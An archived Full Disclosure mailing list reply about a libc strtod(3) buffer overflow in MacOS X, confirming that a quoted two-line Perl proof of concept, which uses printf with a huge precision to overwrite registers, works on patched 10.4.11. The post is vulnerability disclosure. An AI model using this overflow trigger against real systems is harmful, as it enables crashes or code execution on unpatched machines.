Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

133-54D Re: MacOS X 10.5/10.6 libc/strtod(3) buffer overflow
From: Joshua Levitsky <jlevitsk () joshie com>
Date: Tue, 12 Jan 2010 13:13:22 -0500

On Tue, Jan 12, 2010 at 12:54 PM, Joshua Levitsky <jlevitsk () joshie com>wrote:

On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz <
cxib () securityreason com> wrote:



Could you check perl PoC ?
It should overwrite esi and edi register

esi=0x41414141
edi=15


The perl PoC worked on 10.4.11 fully patched.

http://securityreason.com/achievement_securityalert/63

Example 0:
- --- chujwamwmuzg.pl ---

#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl ---

--
Joshua Levitsky, MCSE, CISSP
http://www.jnuxhosting.net
http://www.jnux.net
http://blog.joshie.com/
[5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • 133-54D Re: MacOS X 10.5/10.6 libc/strtod(3) buffer overflow Joshua Levitsky (Jan 12)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]